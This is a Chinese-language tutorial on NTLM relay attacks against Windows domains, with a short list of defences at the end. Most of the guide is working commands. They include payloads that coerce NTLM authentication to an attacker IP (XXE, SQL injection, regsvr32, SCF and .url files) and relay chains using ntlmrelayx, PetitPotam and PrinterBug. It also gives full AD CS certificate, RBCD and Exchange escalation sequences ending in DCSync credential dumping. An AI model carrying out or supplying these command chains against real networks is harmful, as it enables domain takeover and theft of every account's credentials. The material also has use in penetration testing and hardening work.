NTLM中继
字数 1423 2025-08-11 08:36:16
NTLM中继攻击全面指南
1. NTLM认证机制概述
NTLM采用质询/应答模式的身份验证机制,认证过程分为三步:
- 协商:确认双方协议版本
- 质询:挑战(Chalenge)/响应(Response)认证机制
- 验证:验证质询结果
工作组环境认证流程
- 客户端缓存服务密码的NTLM Hash,发送Negotiate消息(含明文用户名)
- 服务器回复Challenge消息(含16位随机Challenge)
- 客户端用NTLM Hash加密Challenge生成Responce,组合为Net-NTLM Hash发送
- 服务端用本地NTLM Hash加密Challenge并与收到的Responce比较
域环境认证流程
与工作组主要区别在于验证阶段:
- 服务端将Net-NTLM Hash发送给域控
- 域控用用户NTLM Hash加密Challenge并与Responce比较
2. Net-NTLM Hash组成
v1格式
username:hostname:LM responce:NTLM responce:challenge
v2格式(当前主流)
username:domain:challenge:HMAC-MD5:blob
从抓包中获取:
- Type2包:获取Challenge
- Type3包:获取username、domain、HMAC-MD5(NTProofStr)、blob
3. NTLM中继攻击基础
攻击前提
- 域环境中密码存储在域控的NTDS.dit中
- 目标未对域用户进行登录限制
- 目标服务未开启SMB签名(域控默认开启)
攻击流程
- 通过中间人攻击或漏洞强制认证流程
- 获取Net-NTLM Hash
- 进行密码破解或重放攻击
4. Net-NTLM Hash窃取技术
1. 文件包含
通过远程文件包含触发认证
2. XXE攻击
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//攻击IP/asd" >]>
3. XSS攻击
4. SQL注入
- MySQL:
load_file('\\\\攻击IP\\asd') - MSSQL:
exec master.dbo.xp_dirtree '\\攻击IP\asd'
5. Regsvr32
regsvr32 /s /u /i://攻击IP/asd scrobj.dll
6. SCF文件
[Shell]
Command=2
IconFile=\\攻击IP\asd.ico
7. Desktop.ini
[.ShellClassInfo]
IconResource=\\攻击IP\asd
8. 快捷方式文件(.url)
[InternetShortcut]
URL=file://攻击IP/asd
9. PowerShell
Invoke-Item \\攻击IP\asd
Get-Content \\攻击IP\asd
Start-Process \\攻击IP\asd
5. 域环境下中继攻击
1. 基础中继
使用ntlmrelayx.py中继到目标执行命令:
python3 ntlmrelayx.py -t 目标IP -c "命令" --smb2support
2. PrinterBug漏洞利用
python3 printerbug.py 域名/账号:密码@受害机器 受控服务器
3. PetitPotam漏洞利用
python3 PetitPotam.py -d 域名 -u 用户名 -p 密码 受控服务器 受害机器
6. 中继至AD CS证书服务
攻击流程
- 利用PetitPotam或printerbug迫使域控发起NTLM认证
- 中继到AD CS的Web注册接口
- 为域控机器账户申请证书
- 利用证书获取域控权限
具体步骤
- 定位AD CS服务器:
certutil -CA
- 启动中继:
python3 ntlmrelayx.py -t http://ADCS_IP/certsrv/certfnsh.asp --smb2support --adcs --template DomainController
- 强制认证:
python3 PetitPotam.py 受控服务器 域控IP
- 获取票据:
python3 gettgtpkinit.py -pfx-base64 "证书" -dc-ip 域控IP 域名/域控机器账户$ DC.ccache
- DCSync攻击:
export KRB5CCNAME=DC.ccache
python3 secretsdump.py 域控机器名.域名 -k -no-pass -target-ip 域控IP -dc-ip 域控IP
7. 中继至LDAP
RBCD+PetitPotam攻击
- 添加机器账户:
python3 addcomputer.py 域名/用户:密码 -computer-name 机器名$ -computer-pass 密码 -dc-ip 域控IP
- 启动中继:
python3 ntlmrelayx.py -t ldap://域控IP --debug --delegate-access --escalate-user 机器名$ --smb2support --remove-mic
- 强制认证:
python3 PetitPotam.py -d 域名 -u 用户 -p 密码 受控服务器 目标机器
- 约束委派攻击:
python3 getST.py 域名/机器名$:密码 -spn cifs/目标机器.域名 -impersonate Administrator -dc-ip 域控IP
- 票据传递:
KRB5CCNAME=Administrator.ccache python3 psexec.py -k 目标机器.域名 -target-ip 目标IP -dc-ip 域控IP -no-pass
Exchange+PetitPotam攻击
- 启动中继:
python3 ntlmrelayx.py -t ldap://域控IP --remove-mic --escalate-user 用户名 --smb2support
- 强制认证:
python3 PetitPotam.py -d 域名 -u 用户 -p 密码 受控服务器 Exchange_IP
- DCSync:
python3 secretsdump.py 域名/用户:"密码"@域控IP -just-dc-ntlm
8. 防御建议
- 启用SMB签名
- 启用LDAP签名和通道绑定
- 限制NTLM使用,优先使用Kerberos
- 配置防火墙规则限制不必要的协议
- 定期更新补丁修复已知漏洞
- 监控异常认证请求
- 限制域账户权限,遵循最小权限原则
通过以上技术,攻击者可以利用NTLM中继攻击在域环境中实现权限提升和横向移动,防御方需全面加固防护措施。